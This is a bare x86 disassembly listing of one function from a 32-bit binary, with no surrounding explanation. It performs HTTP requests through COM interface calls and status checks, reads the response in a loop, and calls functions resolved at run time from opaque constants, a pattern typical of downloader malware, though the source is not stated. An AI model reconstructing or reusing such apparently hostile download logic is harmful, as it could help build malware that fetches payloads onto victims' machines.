mov ecx, 0x3074
inc eax
push 0x5312
push eax
push 0x11a4
mov dl, al
call fcn.100069ca
add esp, 0x28
add esi, 2
jmp 0x100098af
xor eax, eax
mov dword [ebp - 0x1b4], 7
mov word [ebp - 0x17a], ax
lea ecx, [ebp - 0x1c8]
mov word [ebp - 0x1c8], ax
lea eax, [ebp - 0x180]
push eax
mov dword [ebp - 0x1b8], ebx
call fcn.10003d6e
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x1c8]
cmp dword [ebp - 0x1b4], 8
mov eax, dword [ebp - 0x1b8]
cmovae ecx, dword [ebp - 0x1c8]
push dword [ebp - 0x19c]
mov dword [ebp - 0x180], ebx
mov dword [ebp - 0x17c], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x1f4], ebx
lea ecx, [ebp - 0x1c8]
mov dword [ebp - 0x1f0], ebx
cmovae ecx, dword [ebp - 0x1c8]
push eax
push ecx
lea ecx, [ebp - 0x1f4]
mov dword [ebp - 0x1ec], ebx
call fcn.1000a8e0
push ecx
push 0x232
push ecx
lea eax, [ebp - 0x1f4]
mov byte [ebp - 4], 0x3c
push eax
push 0x7338
mov dl, 1
call fcn.10007372
mov ecx, dword [ebp - 0x84]
add esp, 0x14
mov esi, dword [ecx + 0x14]
cmp esi, 8
jb 0x10009ad4
mov edx, dword [ecx]
jmp 0x10009ad6
mov edx, ecx
mov eax, dword [ecx + 0x10]
lea eax, [edx + eax*2]
cmp esi, 8
jb 0x10009ae3
mov ecx, dword [ecx]
push dword [ebp - 0x19c]
mov dword [ebp - 0x1d4], ebx
push eax
push ecx
lea ecx, [ebp - 0x1d4]
mov dword [ebp - 0x1d0], ebx
mov dword [ebp - 0x1cc], ebx
call fcn.1000a8e0
lea eax, [ebp - 0x1d4]
mov byte [ebp - 4], 0x3d
push eax
xor eax, eax
xor dl, dl
inc eax
mov ecx, 0x368a
push eax
push 0x6213
push eax
push 0xa4f
push 0x53b2
push 0x5db9
call fcn.10007161
cmp dword [ebp - 0x1b4], 8
lea edx, [ebp - 0x1c8]
lea esi, [ebp - 0x3c8]
mov eax, dword [ebp - 0x44]
cmovae edx, dword [ebp - 0x1c8]
add esp, 0xc
mov edi, esp
sub esp, 0x10
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x3c8]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x438]
push dword [ebp - 0x1d4]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x10009d7c
mov esi, dword [ebp - 0x198]
mov cl, 1
mov dword [ebp - 0x168], ebx
cmp esi, dword [ebp - 0x194]
je 0x10009bf1
add esi, 0x18
test cl, cl
je 0x10009bd9
cmp dword [esi + 0x14], 8
jb 0x10009bb8
mov edi, dword [esi]
jmp 0x10009bba
mov edi, esi
cmp dword [esi - 4], 8
jb 0x10009bc5
mov edx, dword [esi - 0x18]
jmp 0x10009bc8
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x44]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x10009bdb
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x194]
jne 0x10009baa
test cl, cl
je 0x10009d7c
mov eax, dword [ebp - 0x44]
lea esi, [ebp - 0x3c8]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x10009d7c
mov eax, dword [ebp - 0x44]
lea edx, [ebp - 0x168]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x10009d7c
cmp dword [ebp - 0x168], 0x130
je 0x10009c45
cmp dword [ebp - 0x168], 0xc8
jne 0x10009d7c
mov eax, dword [ebp - 0x44]
lea edx, [ebp - 0x478]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x10009d7c
mov edi, dword [ebp - 0x470]
mov dword [ebp - 0x18c], edi
test edi, edi
je 0x10009d7c
mov eax, dword [edi]
lea ecx, [ebp - 0x658]
xor esi, esi
inc esi
push esi
push ecx
push edi
call dword [eax + 0x30]
test eax, eax
js 0x10009d60
mov eax, dword [ebp - 0x650]
push 0x7c7c
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push esi
push eax
lea eax, [ebp - 0x1b0]
push eax
push ecx
call fcn.100073b9
mov edx, dword [ebp - 0x80]
mov esi, ebx
add esp, 0x14
mov dword [ebp - 0x184], edx
mov dword [ebp - 0x170], ebx
mov dword [ebp - 0x178], esi
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [edi]
add eax, esi
lea esi, [ebp - 0x170]
push esi
push edx
push eax
push edi
call dword [ecx + 0xc]
mov esi, dword [ebp - 0x178]
test eax, eax
js 0x10009d49
push 0x2554
push ecx
push 0x3890
push 0x7d60
lea eax, [ebp - 0x170]
mov edx, 0x7cf0
push eax
lea eax, [ebp - 0x178]
mov ecx, 0x4041
push eax
push 1
call fcn.100075d3
add esp, 0x1c
lea eax, [ebp - 0x170]
mov edx, 0x6020
push ebx
push eax
push ecx
lea ecx, [ebp - 0x184]
call fcn.10007309
mov esi, dword [ebp - 0x178]
add esp, 0xc
cmp esi, dword [ebp - 0x80]
jae 0x10009d4c
mov edx, dword [ebp - 0x184]
jmp 0x10009cc4
cmp esi, dword [ebp - 0x80]
je 0x10009d60
push 1
push ecx
lea eax, [ebp - 0x1b0]
push eax
call fcn.1000673b
add esp, 0xc
push 0x4891
push ecx
push 0xf98
lea eax, [ebp - 0x18c]
push eax
push 1
call fcn.10006d0b
add esp, 0x14
mov eax, dword [ebp - 0x44]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
lea ecx, [ebp - 0x1d4]
mov dword [ebp - 0x44], ebx
call fcn.1000a2cb
lea ecx, [ebp - 0x1f4]
call fcn.1000a2cb
push ebx
push 1
lea ecx, [ebp - 0x1c8]
mov byte [ebp - 4], 0x36
call fcn.1000418d
push 0xc8f
push 0x17af
call fcn.10024ebc
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 0x1fc]
lea eax, [ebp - 0x1b0]
push eax
call fcn.1000a005
push ebx
push 1
lea ecx, [ebp - 0x30c]
call fcn.1000418d
push ebx
push 1
lea ecx, [ebp - 0x330]
call fcn.1000418d
lea ecx, [ebp - 0x198]
call fcn.1000a155
lea ecx, [ebp - 0x1b0]
call fcn.1000a255
lea ecx, [ebp + 8]
call fcn.1000a155
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret